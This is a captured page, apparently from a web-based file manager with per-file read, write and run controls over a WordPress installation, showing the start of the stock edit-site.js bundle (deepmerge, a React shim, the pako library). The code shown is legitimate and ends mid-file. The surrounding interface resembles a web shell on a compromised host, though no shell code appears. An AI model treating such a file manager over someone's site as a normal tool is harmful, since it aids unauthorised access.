at path:ROOT / wp-includes / js / dist / edit-site.js
run:R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.24 KB
2025-12-03 06:22:56
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.18 KB
2025-12-03 06:22:56
R W Run
22.91 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
23.02 KB
2025-12-03 06:22:56
R W Run
12.74 KB
2025-12-03 06:22:56
R W Run
17.03 KB
2025-12-03 06:22:56
R W Run
12.56 KB
2024-01-31 12:59:56
R W Run
7.34 KB
2025-12-03 06:22:56
R W Run
7.15 KB
2025-12-03 06:22:56
R W Run
10.17 KB
2025-12-03 06:22:56
R W Run
8.16 KB
2024-01-31 12:59:56
R W Run
77.3 KB
2025-12-03 06:22:56
R W Run
27.26 KB
2025-12-03 06:22:56
R W Run
2.23 MB
2026-02-04 01:01:35
R W Run
878.41 KB
2026-02-04 01:01:35
R W Run
2.2 MB
2026-02-04 01:01:35
R W Run
967.08 KB
2026-02-04 01:01:35
R W Run
13.89 KB
2025-12-03 06:22:56
R W Run
9.42 KB
2024-01-31 12:59:56
R W Run
434.6 KB
2026-02-04 01:01:35
R W Run
179.81 KB
2026-02-04 01:01:35
R W Run
178.79 KB
2025-12-03 06:22:56
R W Run
55.84 KB
2025-12-03 06:22:56
R W Run
2.39 MB
2026-02-04 01:01:35
R W Run
793.68 KB
2026-02-04 01:01:35
R W Run
149.99 KB
2025-12-03 06:22:56
R W Run
42.85 KB
2025-12-03 06:22:56
R W Run
32.74 KB
2025-12-03 06:22:56
R W Run
17.47 KB
2025-12-03 06:22:56
R W Run
223.77 KB
2025-12-03 06:22:56
R W Run
75.81 KB
2025-12-03 06:22:56
R W Run
93.53 KB
2025-12-03 06:22:56
R W Run
41.3 KB
2025-12-03 06:22:56
R W Run
11.46 KB
2025-12-03 06:22:56
R W Run
8.52 KB
2024-01-31 12:59:56
R W Run
95.23 KB
2025-12-03 06:22:56
R W Run
31.93 KB
2025-12-03 06:22:56
R W Run
797.94 KB
2025-12-03 06:22:56
R W Run
772.41 KB
2025-12-03 06:22:56
R W Run
9.33 KB
2025-12-03 06:22:56
R W Run
7.75 KB
2024-01-31 12:59:56
R W Run
8.65 KB
2025-12-03 06:22:56
R W Run
7.52 KB
2024-01-31 12:59:56
R W Run
41.26 KB
2025-12-03 06:22:56
R W Run
19.38 KB
2025-12-03 06:22:56
R W Run
111.74 KB
2025-12-03 06:22:56
R W Run
49.77 KB
2025-12-03 06:22:56
R W Run
1.77 MB
2026-02-04 01:01:35
R W Run
707.33 KB
2026-02-04 01:01:35
R W Run
159.45 KB
2025-12-03 06:22:56
R W Run
64.69 KB
2025-12-03 06:22:56
R W Run
1.1 MB
2026-02-04 01:01:35
R W Run
416.87 KB
2026-02-04 01:01:35
R W Run
53.25 KB
2025-12-03 06:22:56
R W Run
18.91 KB
2025-12-03 06:22:56
R W Run
10.07 KB
2025-12-03 06:22:56
R W Run
8.05 KB
2024-01-31 12:59:56
R W Run
78.51 KB
2026-02-04 01:01:35
R W Run
33.84 KB
2026-02-04 01:01:35
R W Run
22.72 KB
2025-12-03 06:22:56
R W Run
12.61 KB
2025-12-03 06:22:56
R W Run
9.37 KB
2025-12-03 06:22:56
R W Run
7.85 KB
2025-12-03 06:22:56
R W Run
31.42 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
10.36 KB
2025-12-03 06:22:56
R W Run
8.07 KB
2024-01-31 12:59:56
R W Run
16.3 KB
2025-12-03 06:22:56
R W Run
10.06 KB
2025-12-03 06:22:56
R W Run
14.97 KB
2025-12-03 06:22:56
R W Run
9.59 KB
2025-12-03 06:22:56
R W Run
451.81 KB
2025-12-03 06:22:56
R W Run
199.1 KB
2025-12-03 06:22:56
R W Run
37.03 KB
2025-12-03 06:22:56
R W Run
11.7 KB
2025-12-03 06:22:56
R W Run
30.42 KB
2025-12-03 06:22:56
R W Run
16.8 KB
2025-12-03 06:22:56
R W Run
12.92 KB
2025-12-03 06:22:56
R W Run
9.11 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.51 KB
2025-12-03 06:22:56
R W Run
67.39 KB
2025-12-03 06:22:56
R W Run
28.55 KB
2025-12-03 06:22:56
R W Run
20.73 KB
2025-12-03 06:22:56
R W Run
11.31 KB
2025-12-03 06:22:56
R W Run
23.9 KB
2025-12-03 06:22:56
R W Run
12.41 KB
2025-12-03 06:22:56
R W Run
27.34 KB
2025-12-03 06:22:56
R W Run
13.93 KB
2025-12-03 06:22:56
R W Run
12.18 KB
2025-12-03 06:22:56
R W Run
8.7 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.38 KB
2025-12-03 06:22:56
R W Run
12.42 KB
2025-12-03 06:22:56
R W Run
9.84 KB
2025-12-03 06:22:56
R W Run
28.3 KB
2025-12-03 06:22:56
R W Run
15.76 KB
2025-04-16 02:33:33
R W Run
25.52 KB
2025-12-03 06:22:56
R W Run
12.98 KB
2025-12-03 06:22:56
R W Run
90.6 KB
2025-12-03 06:22:56
R W Run
43.5 KB
2025-12-03 06:22:56
R W Run
59.35 KB
2025-12-03 06:22:56
R W Run
20.52 KB
2025-12-03 06:22:56
R W Run
16.76 KB
2025-12-03 06:22:56
R W Run
10.16 KB
2025-12-03 06:22:56
R W Run
16.91 KB
2025-12-03 06:22:56
R W Run
9.91 KB
2025-12-03 06:22:56
R W Run
42.2 KB
2025-12-03 06:22:56
R W Run
13 KB
2025-12-03 06:22:56
R W Run
12.94 KB
2025-12-03 06:22:56
R W Run
8.35 KB
2025-12-03 06:22:56
R W Run
27.33 KB
2025-12-03 06:22:56
R W Run
15.41 KB
2025-12-03 06:22:56
R W Run
13.37 KB
2025-12-03 06:22:56
R W Run
8.91 KB
2025-12-03 06:22:56
R W Run
14.88 KB
2025-12-03 06:22:56
R W Run
9.76 KB
2025-12-03 06:22:56
R W Run
8.68 KB
2025-12-03 06:22:56
R W Run
7.37 KB
2025-12-03 06:22:56
R W Run
54.69 KB
2025-12-03 06:22:56
R W Run
26.58 KB
2025-12-03 06:22:56
R W Run
20.33 KB
2025-12-03 06:22:56
R W Run
10.32 KB
2025-12-03 06:22:56
R W Run
error_log
📄edit-site.js
1/******/ (() => { // webpackBootstrap
2/******/ var __webpack_modules__ = ({
3
4/***/ 66:
5/***/ ((module) => {
6
7"use strict";
8
9
10var isMergeableObject = function isMergeableObject(value) {
11 return isNonNullObject(value)
12 && !isSpecial(value)
13};
14
15function isNonNullObject(value) {
16 return !!value && typeof value === 'object'
17}
18
19function isSpecial(value) {
20 var stringValue = Object.prototype.toString.call(value);
21
22 return stringValue === '[object RegExp]'
23 || stringValue === '[object Date]'
24 || isReactElement(value)
25}
26
27// see https://github.com/facebook/react/blob/b5ac963fb791d1298e7f396236383bc955f916c1/src/isomorphic/classic/element/ReactElement.js#L21-L25
28var canUseSymbol = typeof Symbol === 'function' && Symbol.for;
29var REACT_ELEMENT_TYPE = canUseSymbol ? Symbol.for('react.element') : 0xeac7;
30
31function isReactElement(value) {
32 return value.$$typeof === REACT_ELEMENT_TYPE
33}
34
35function emptyTarget(val) {
36 return Array.isArray(val) ? [] : {}
37}
38
39function cloneUnlessOtherwiseSpecified(value, options) {
40 return (options.clone !== false && options.isMergeableObject(value))
41 ? deepmerge(emptyTarget(value), value, options)
42 : value
43}
44
45function defaultArrayMerge(target, source, options) {
46 return target.concat(source).map(function(element) {
47 return cloneUnlessOtherwiseSpecified(element, options)
48 })
49}
50
51function getMergeFunction(key, options) {
52 if (!options.customMerge) {
53 return deepmerge
54 }
55 var customMerge = options.customMerge(key);
56 return typeof customMerge === 'function' ? customMerge : deepmerge
57}
58
59function getEnumerableOwnPropertySymbols(target) {
60 return Object.getOwnPropertySymbols
61 ? Object.getOwnPropertySymbols(target).filter(function(symbol) {
62 return Object.propertyIsEnumerable.call(target, symbol)
63 })
64 : []
65}
66
67function getKeys(target) {
68 return Object.keys(target).concat(getEnumerableOwnPropertySymbols(target))
69}
70
71function propertyIsOnObject(object, property) {
72 try {
73 return property in object
74 } catch(_) {
75 return false
76 }
77}
78
79// Protects from prototype poisoning and unexpected merging up the prototype chain.
80function propertyIsUnsafe(target, key) {
81 return propertyIsOnObject(target, key) // Properties are safe to merge if they don't exist in the target yet,
82 && !(Object.hasOwnProperty.call(target, key) // unsafe if they exist up the prototype chain,
83 && Object.propertyIsEnumerable.call(target, key)) // and also unsafe if they're nonenumerable.
84}
85
86function mergeObject(target, source, options) {
87 var destination = {};
88 if (options.isMergeableObject(target)) {
89 getKeys(target).forEach(function(key) {
90 destination[key] = cloneUnlessOtherwiseSpecified(target[key], options);
91 });
92 }
93 getKeys(source).forEach(function(key) {
94 if (propertyIsUnsafe(target, key)) {
95 return
96 }
97
98 if (propertyIsOnObject(target, key) && options.isMergeableObject(source[key])) {
99 destination[key] = getMergeFunction(key, options)(target[key], source[key], options);
100 } else {
101 destination[key] = cloneUnlessOtherwiseSpecified(source[key], options);
102 }
103 });
104 return destination
105}
106
107function deepmerge(target, source, options) {
108 options = options || {};
109 options.arrayMerge = options.arrayMerge || defaultArrayMerge;
110 options.isMergeableObject = options.isMergeableObject || isMergeableObject;
111 // cloneUnlessOtherwiseSpecified is added to `options` so that custom arrayMerge()
112 // implementations can use it. The caller may not replace it.
113 options.cloneUnlessOtherwiseSpecified = cloneUnlessOtherwiseSpecified;
114
115 var sourceIsArray = Array.isArray(source);
116 var targetIsArray = Array.isArray(target);
117 var sourceAndTargetTypesMatch = sourceIsArray === targetIsArray;
118
119 if (!sourceAndTargetTypesMatch) {
120 return cloneUnlessOtherwiseSpecified(source, options)
121 } else if (sourceIsArray) {
122 return options.arrayMerge(target, source, options)
123 } else {
124 return mergeObject(target, source, options)
125 }
126}
127
128deepmerge.all = function deepmergeAll(array, options) {
129 if (!Array.isArray(array)) {
130 throw new Error('first argument should be an array')
131 }
132
133 return array.reduce(function(prev, next) {
134 return deepmerge(prev, next, options)
135 }, {})
136};
137
138var deepmerge_1 = deepmerge;
139
140module.exports = deepmerge_1;
141
142
143/***/ }),
144
145/***/ 83:
146/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
147
148"use strict";
149/**
150 * @license React
151 * use-sync-external-store-shim.production.js
152 *
153 * Copyright (c) Meta Platforms, Inc. and affiliates.
154 *
155 * This source code is licensed under the MIT license found in the
156 * LICENSE file in the root directory of this source tree.
157 */
158
159
160var React = __webpack_require__(1609);
161function is(x, y) {
162 return (x === y && (0 !== x || 1 / x === 1 / y)) || (x !== x && y !== y);
163}
164var objectIs = "function" === typeof Object.is ? Object.is : is,
165 useState = React.useState,
166 useEffect = React.useEffect,
167 useLayoutEffect = React.useLayoutEffect,
168 useDebugValue = React.useDebugValue;
169function useSyncExternalStore$2(subscribe, getSnapshot) {
170 var value = getSnapshot(),
171 _useState = useState({ inst: { value: value, getSnapshot: getSnapshot } }),
172 inst = _useState[0].inst,
173 forceUpdate = _useState[1];
174 useLayoutEffect(
175 function () {
176 inst.value = value;
177 inst.getSnapshot = getSnapshot;
178 checkIfSnapshotChanged(inst) && forceUpdate({ inst: inst });
179 },
180 [subscribe, value, getSnapshot]
181 );
182 useEffect(
183 function () {
184 checkIfSnapshotChanged(inst) && forceUpdate({ inst: inst });
185 return subscribe(function () {
186 checkIfSnapshotChanged(inst) && forceUpdate({ inst: inst });
187 });
188 },
189 [subscribe]
190 );
191 useDebugValue(value);
192 return value;
193}
194function checkIfSnapshotChanged(inst) {
195 var latestGetSnapshot = inst.getSnapshot;
196 inst = inst.value;
197 try {
198 var nextValue = latestGetSnapshot();
199 return !objectIs(inst, nextValue);
200 } catch (error) {
201 return !0;
202 }
203}
204function useSyncExternalStore$1(subscribe, getSnapshot) {
205 return getSnapshot();
206}
207var shim =
208 "undefined" === typeof window ||
209 "undefined" === typeof window.document ||
210 "undefined" === typeof window.document.createElement
211 ? useSyncExternalStore$1
212 : useSyncExternalStore$2;
213exports.useSyncExternalStore =
214 void 0 !== React.useSyncExternalStore ? React.useSyncExternalStore : shim;
215
216
217/***/ }),
218
219/***/ 422:
220/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
221
222"use strict";
223
224
225if (true) {
226 module.exports = __webpack_require__(83);
227} else {}
228
229
230/***/ }),
231
232/***/ 1233:
233/***/ ((module) => {
234
235"use strict";
236module.exports = window["wp"]["preferences"];
237
238/***/ }),
239
240/***/ 1609:
241/***/ ((module) => {
242
243"use strict";
244module.exports = window["React"];
245
246/***/ }),
247
248/***/ 4660:
249/***/ ((module) => {
250
251/**
252 * Credits:
253 *
254 * lib-font
255 * https://github.com/Pomax/lib-font
256 * https://github.com/Pomax/lib-font/blob/master/lib/inflate.js
257 *
258 * The MIT License (MIT)
259 *
260 * Copyright (c) 2020 pomax@nihongoresources.com
261 *
262 * Permission is hereby granted, free of charge, to any person obtaining a copy
263 * of this software and associated documentation files (the "Software"), to deal
264 * in the Software without restriction, including without limitation the rights
265 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
266 * copies of the Software, and to permit persons to whom the Software is
267 * furnished to do so, subject to the following conditions:
268 *
269 * The above copyright notice and this permission notice shall be included in all
270 * copies or substantial portions of the Software.
271 *
272 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
273 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
274 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
275 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
276 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
277 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
278 * SOFTWARE.
279 */
280
281/* eslint eslint-comments/no-unlimited-disable: 0 */
282/* eslint-disable */
283/* pako 1.0.10 nodeca/pako */(function(f){if(true){module.exports=f()}else { var g; }})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=undefined;if(!f&&c)return require(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=undefined,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){
284 'use strict';
285
286
287 var TYPED_OK = (typeof Uint8Array !== 'undefined') &&
288 (typeof Uint16Array !== 'undefined') &&
289 (typeof Int32Array !== 'undefined');
290
291 function _has(obj, key) {
292 return Object.prototype.hasOwnProperty.call(obj, key);
293 }
294
295 exports.assign = function (obj /*from1, from2, from3, ...*/) {
296 var sources = Array.prototype.slice.call(arguments, 1);
297 while (sources.length) {
298 var source = sources.shift();
299 if (!source) { continue; }
300
301 if (typeof source !== 'object') {
302 throw new TypeError(source + 'must be non-object');
303 }
304
305 for (var p in source) {
306 if (_has(source, p)) {
307 obj[p] = source[p];
308 }
309 }
310 }
311
312 return obj;
313 };
314
315
316 // reduce buffer size, avoiding mem copy
317 exports.shrinkBuf = function (buf, size) {
318 if (buf.length === size) { return buf; }
319 if (buf.subarray) { return buf.subarray(0, size); }
320 buf.length = size;
321 return buf;
322 };
323
324
325 var fnTyped = {
326 arraySet: function (dest, src, src_offs, len, dest_offs) {
327 if (src.subarray && dest.subarray) {
328 dest.set(src.subarray(src_offs, src_offs + len), dest_offs);
329 return;
330 }
331 // Fallback to ordinary array
332 for (var i = 0; i < len; i++) {
333 dest[dest_offs + i] = src[src_offs + i];
334 }
335 },
336 // Join array of chunks to single array.
337 flattenChunks: function (chunks) {
338 var i, l, len, pos, chunk, result;
339
340 // calculate data length
341 len = 0;
342 for (i = 0, l = chunks.length; i < l; i++) {
343 len += chunks[i].length;
344 }
345
346 // join chunks
347 result = new Uint8Array(len);
348 pos = 0;
349 for (i = 0, l = chunks.length; i < l; i++) {
350 chunk = chunks[i];
351 result.set(chunk, pos);
352 pos += chunk.length;
353 }
354
355 return result;
356 }
357 };
358
359 var fnUntyped = {
360 arraySet: function (dest, src, src_offs, len, dest_offs) {
361 for (var i = 0; i < len; i++) {
362 dest[dest_offs + i] = src[src_offs + i];
363 }
364 },
365 // Join array of chunks to single array.
366 flattenChunks: function (chunks) {
367 return [].concat.apply([], chunks);
368 }
369 };
370
371
372 // Enable/Disable typed arrays use, for testing
373 //
374 exports.setTyped = function (on) {
375 if (on) {
376 exports.Buf8 = Uint8Array;
377 exports.Buf16 = Uint16Array;
378 exports.Buf32 = Int32Array;
379 exports.assign(exports, fnTyped);
380 } else {
381 exports.Buf8 = Array;
382 exports.Buf16 = Array;
383 exports.Buf32 = Array;
384 exports.assign(exports, fnUntyped);
385 }
386 };
387
388 exports.setTyped(TYPED_OK);
389
390 },{}],2:[function(require,module,exports){
391 // String encode/decode helpers
392 'use strict';
393
394
395 var utils = require('./common');
396
397
398 // Quick check if we can use fast array to bin string conversion
399 //
400 // - apply(Array) can fail on Android 2.2
401 // - apply(Uint8Array) can fail on iOS 5.1 Safari
402 //
403 var STR_APPLY_OK = true;
404 var STR_APPLY_UIA_OK = true;
405
406 try { String.fromCharCode.apply(null, [ 0 ]); } catch (__) { STR_APPLY_OK = false; }
407 try { String.fromCharCode.apply(null, new Uint8Array(1)); } catch (__) { STR_APPLY_UIA_OK = false; }
408
409
410 // Table with utf8 lengths (calculated by first byte of sequence)
411 // Note, that 5 & 6-byte values and some 4-byte values can not be represented in JS,
412 // because max possible codepoint is 0x10ffff
413 var _utf8len = new utils.Buf8(256);
414 for (var q = 0; q < 256; q++) {
415 _utf8len[q] = (q >= 252 ? 6 : q >= 248 ? 5 : q >= 240 ? 4 : q >= 224 ? 3 : q >= 192 ? 2 : 1);
416 }
417 _utf8len[254] = _utf8len[254] = 1; // Invalid sequence start
418
419
420 // convert string to array (typed, when possible)
421 exports.string2buf = function (str) {
422 var buf, c, c2, m_pos, i, str_len = str.length, buf_len = 0;
423
424 // count binary size
425 for (m_pos = 0; m_pos < str_len; m_pos++) {
426 c = str.charCodeAt(m_pos);
427 if ((c & 0xfc00) === 0xd800 && (m_pos + 1 < str_len)) {
428 c2 = str.charCodeAt(m_pos + 1);
429 if ((c2 & 0xfc00) === 0xdc00) {
430 c = 0x10000 + ((c - 0xd800) << 10) + (c2 - 0xdc00);
431 m_pos++;
432 }
433 }
434 buf_len += c < 0x80 ? 1 : c < 0x800 ? 2 : c < 0x10000 ? 3 : 4;
435 }
436
437 // allocate buffer
438 buf = new utils.Buf8(buf_len);
439
440 // convert
441 for (i = 0, m_pos = 0; i < buf_len; m_pos++) {
442 c = str.charCodeAt(m_pos);
443 if ((c & 0xfc00) === 0xd800 && (m_pos + 1 < str_len)) {
444 c2 = str.charCodeAt(m_pos + 1);
445 if ((c2 & 0xfc00) === 0xdc00) {
446 c = 0x10000 + ((c - 0xd800) << 10) + (c2 - 0xdc00);
447 m_pos++;
448 }
449 }
450 if (c < 0x80) {
451 /* one byte */
452 buf[i++] = c;
453 } else if (c < 0x800) {
454 /* two bytes */
455 buf[i++] = 0xC0 | (c >>> 6);
456 buf[i++] = 0x80 | (c & 0x3f);
457 } else if (c < 0x10000) {
458 /* three bytes */
459 buf[i++] = 0xE0 | (c >>> 12);
460 buf[i++] = 0x80 | (c >>> 6 & 0x3f);
461 buf[i++] = 0x80 | (c & 0x3f);
462 } else {
463 /* four bytes */
464 buf[i++] = 0xf0 | (c >>> 18);
465 buf[i++] = 0x80 | (c >>> 12 & 0x3f);
466 buf[i++] = 0x80 | (c >>> 6 & 0x3f);
467 buf[i++] = 0x80 | (c & 0x3f);
468 }
469 }
470
471 return buf;
472 };
473
474 // Helper (used in 2 places)
475 function buf2binstring(buf, len) {
476 // On Chrome, the arguments in a function call that are allowed is `65534`.
477 // If the length of the buffer is smaller than that, we can use this optimization,
478 // otherwise we will take a slower path.
479 if (len < 65534) {
480 if ((buf.subarray && STR_APPLY_UIA_OK) || (!buf.subarray && STR_APPLY_OK)) {
481 return String.fromCharCode.apply(null, utils.shrinkBuf(buf, len));
482 }
483 }
484
485 var result = '';
486 for (var i = 0; i < len; i++) {
487 result += String.fromCharCode(buf[i]);
488 }
489 return result;
490 }
491
492
493 // Convert byte array to binary string
494 exports.buf2binstring = function (buf) {
495 return buf2binstring(buf, buf.length);
496 };
497
498
499 // Convert binary string (typed, when possible)
500 exports.binstring2buf = function (str) {
501 var buf = new utils.Buf8(str.length);
502 for (var i = 0, len = buf.length; i < len; i++) {
503 buf[i] = str.charCodeAt(i);
504 }
505 return buf;
506 };
507
508
509 // convert array to string
510 exports.buf2string = function (buf, max) {
511 var i, out, c, c_len;
512 var len = max || buf.length;
513
514 // Reserve max possible length (2 words per char)
515 // NB: by unknown reasons, Array is significantly faster for
516 // String.fromCharCode.apply than Uint16Array.
517 var utf16buf = new Array(len * 2);
518
519 for (out = 0, i = 0; i < len;) {
520 c = buf[i++];
521 // quick process ascii
522 if (c < 0x80) { utf16buf[out++] = c; continue; }
523
524 c_len = _utf8len[c];
525 // skip 5 & 6 byte codes
526 if (c_len > 4) { utf16buf[out++] = 0xfffd; i += c_len - 1; continue; }
527
528 // apply mask on first byte
529 c &= c_len === 2 ? 0x1f : c_len === 3 ? 0x0f : 0x07;
530 // join the rest
531 while (c_len > 1 && i < len) {
532 c = (c << 6) | (buf[i++] & 0x3f);
533 c_len--;
534 }
535
536 // terminated by end of string?
537 if (c_len > 1) { utf16buf[out++] = 0xfffd; continue; }
538
539 if (c < 0x10000) {
540 utf16buf[out++] = c;
541 } else {
542 c -= 0x10000;
543 utf16buf[out++] = 0xd800 | ((c >> 10) & 0x3ff);
544 utf16buf[out++] = 0xdc00 | (c & 0x3ff);
545 }
546 }
547
548 return buf2binstring(utf16buf, out);
549 };
550
551
552 // Calculate max possible position in utf8 buffer,
553 // that will not break sequence. If that's not possible
554 // - (very small limits) return max size as is.
555 //
556 // buf[] - utf8 bytes array
557 // max - length limit (mandatory);
558 exports.utf8border = function (buf, max) {
559 var pos;
560
561 max = max || buf.length;
562 if (max > buf.length) { max = buf.length; }
563
564 // go back from last position, until start of sequence found
565 pos = max - 1;
566 while (pos >= 0 && (buf[pos] & 0xC0) === 0x80) { pos--; }
567
568 // Very small and broken sequence,
569 // return max, because we should return something anyway.
570 if (pos < 0) { return max; }
571
572 // If we came to start of buffer - that means buffer is too small,
573 // return max too.
574 if (pos === 0) { return max; }
575
576 return (pos + _utf8len[buf[pos]] > max) ? pos : max;
577 };
578
579 },{"./common":1}],3:[function(require,module,exports){
580 'use strict';
581
582 // Note: adler32 takes 12% for level 0 and 2% for level 6.
583 // It isn't worth it to make additional optimizations as in original.
584 // Small size is preferable.
585
586 // (C) 1995-2013 Jean-loup Gailly and Mark Adler
587 // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
588 //
589 // This software is provided 'as-is', without any express or implied
590 // warranty. In no event will the authors be held liable for any damages
591 // arising from the use of this software.
592 //
593 // Permission is granted to anyone to use this software for any purpose,
594 // including commercial applications, and to alter it and redistribute it
595 // freely, subject to the following restrictions:
596 //
597 // 1. The origin of this software must not be misrepresented; you must not
598 // claim that you wrote the original software. If you use this software
599 // in a product, an acknowledgment in the product documentation would be
600 // appreciated but is not required.
601 // 2. Altered source versions must be plainly marked as such, and must not be
602 // misrepresented as being the original software.
603 // 3. This notice may not be removed or altered from any source distribution.
604
605 function adler32(adler, buf, len, pos) {
606 var s1 = (adler & 0xffff) |0,
607 s2 = ((adler >>> 16) & 0xffff) |0,
608 n = 0;
609
610 while (len !== 0) {
611 // Set limit ~ twice less than 5552, to keep
612 // s2 in 31-bits, because we force signed ints.
613 // in other case %= will fail.
614 n = len > 2000 ? 2000 : len;
615 len -= n;
616
617 do {
618 s1 = (s1 + buf[pos++]) |0;
619 s2 = (s2 + s1) |0;
620 } while (--n);
621
622 s1 %= 65521;
623 s2 %= 65521;
624 }
625
626 return (s1 | (s2 << 16)) |0;
627 }
628
629
630 module.exports = adler32;
631
632 },{}],4:[function(require,module,exports){
633 'use strict';
634
635 // (C) 1995-2013 Jean-loup Gailly and Mark Adler
636 // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
637 //
638 // This software is provided 'as-is', without any express or implied
639 // warranty. In no event will the authors be held liable for any damages
640 // arising from the use of this software.
641 //
642 // Permission is granted to anyone to use this software for any purpose,
643 // including commercial applications, and to alter it and redistribute it
644 // freely, subject to the following restrictions:
645 //
646 // 1. The origin of this software must not be misrepresented; you must not
647 // claim that you wrote the original software. If you use this software
648 // in a product, an acknowledgment in the product documentation would be
649 // appreciated but is not required.
650 // 2. Altered source versions must be plainly marked as such, and must not be
651 // misrepresented as being the original software.
652 // 3. This notice may not be removed or altered from any source distribution.
653
654 module.exports = {
655
656 /* Allowed flush values; see deflate() and inflate() below for details */
657 Z_NO_FLUSH: 0,
658 Z_PARTIAL_FLUSH: 1,
659 Z_SYNC_FLUSH: 2,
660 Z_FULL_FLUSH: 3,
661 Z_FINISH: 4,
662 Z_BLOCK: 5,
663 Z_TREES: 6,
664
665 /* Return codes for the compression/decompression functions. Negative values
666 * are errors, positive values are used for special but normal events.
667 */
668 Z_OK: 0,
669 Z_STREAM_END: 1,
670 Z_NEED_DICT: 2,
671 Z_ERRNO: -1,
672 Z_STREAM_ERROR: -2,
673 Z_DATA_ERROR: -3,
674 //Z_MEM_ERROR: -4,
675 Z_BUF_ERROR: -5,
676 //Z_VERSION_ERROR: -6,
677
678 /* compression levels */
679 Z_NO_COMPRESSION: 0,
680 Z_BEST_SPEED: 1,
681 Z_BEST_COMPRESSION: 9,
682 Z_DEFAULT_COMPRESSION: -1,
683
684
685 Z_FILTERED: 1,
686 Z_HUFFMAN_ONLY: 2,
687 Z_RLE: 3,
688 Z_FIXED: 4,
689 Z_DEFAULT_STRATEGY: 0,
690
691 /* Possible values of the data_type field (though see inflate()) */
692 Z_BINARY: 0,
693 Z_TEXT: 1,
694 //Z_ASCII: 1, // = Z_TEXT (deprecated)
695 Z_UNKNOWN: 2,
696
697 /* The deflate compression method */
698 Z_DEFLATED: 8
699 //Z_NULL: null // Use -1 or null inline, depending on var type
700 };
701
702 },{}],5:[function(require,module,exports){
703 'use strict';
704
705 // Note: we can't get significant speed boost here.
706 // So write code to minimize size - no pregenerated tables
707 // and array tools dependencies.
708
709 // (C) 1995-2013 Jean-loup Gailly and Mark Adler
710 // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
711 //
712 // This software is provided 'as-is', without any express or implied
713 // warranty. In no event will the authors be held liable for any damages
714 // arising from the use of this software.
715 //
716 // Permission is granted to anyone to use this software for any purpose,
717 // including commercial applications, and to alter it and redistribute it
718 // freely, subject to the following restrictions:
719 //
720 // 1. The origin of this software must not be misrepresented; you must not
721 // claim that you wrote the original software. If you use this software
722 // in a product, an acknowledgment in the product documentation would be
723 // appreciated but is not required.
724 // 2. Altered source versions must be plainly marked as such, and must not be
725 // misrepresented as being the original software.
726 // 3. This notice may not be removed or altered from any source distribution.
727
728 // Use ordinary array, since untyped makes no boost here
729 function makeTable() {
730 var c, table = [];
731
732 for (var n = 0; n < 256; n++) {
733 c = n;
734 for (var k = 0; k < 8; k++) {
735 c = ((c & 1) ? (0xEDB88320 ^ (c >>> 1)) : (c >>> 1));
736 }
737 table[n] = c;
738 }
739
740 return table;
741 }
742
743 // Create table on load. Just 255 signed longs. Not a problem.
744 var crcTable = makeTable();
745
746
747 function crc32(crc, buf, len, pos) {
748 var t = crcTable,
749 end = pos + len;
750
751 crc ^= -1;
752
753 for (var i = pos; i < end; i++) {
754 crc = (crc >>> 8) ^ t[(crc ^ buf[i]) & 0xFF];
755 }
756
757 return (crc ^ (-1)); // >>> 0;
758 }
759
760
761 module.exports = crc32;
762
763 },{}],6:[function(require,module,exports){
764 'use strict';
765
766 // (C) 1995-2013 Jean-loup Gailly and Mark Adler
767 // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
768 //
769 // This software is provided 'as-is', without any express or implied
770 // warranty. In no event will the authors be held liable for any damages
771 // arising from the use of this software.
772 //
773 // Permission is granted to anyone to use this software for any purpose,
774 // including commercial applications, and to alter it and redistribute it
775 // freely, subject to the following restrictions:
776 //
777 // 1. The origin of this software must not be misrepresented; you must not
778 // claim that you wrote the original software. If you use this software
779 // in a product, an acknowledgment in the product documentation would be
780 // appreciated but is not required.
781 // 2. Altered source versions must be plainly marked as such, and must not be
782 // misrepresented as being the original software.
783 // 3. This notice may not be removed or altered from any source distribution.
784
785 function GZheader() {
786 /* true if compressed data believed to be text */
787 this.text = 0;
788 /* modification time */
789 this.time = 0;
790 /* extra flags (not used when writing a gzip file) */
791 this.xflags = 0;
792 /* operating system */
793 this.os = 0;
794 /* pointer to extra field or Z_NULL if none */
795 this.extra = null;
796 /* extra field length (valid if extra != Z_NULL) */
797 this.extra_len = 0; // Actually, we don't need it in JS,
798 // but leave for few code modifications
799
800 //
801 // Setup limits is not necessary because in js we should not preallocate memory
802 // for inflate use constant limit in 65536 bytes
803 //
804
805 /* space at extra (only when reading header) */
806 // this.extra_max = 0;
807 /* pointer to zero-terminated file name or Z_NULL */
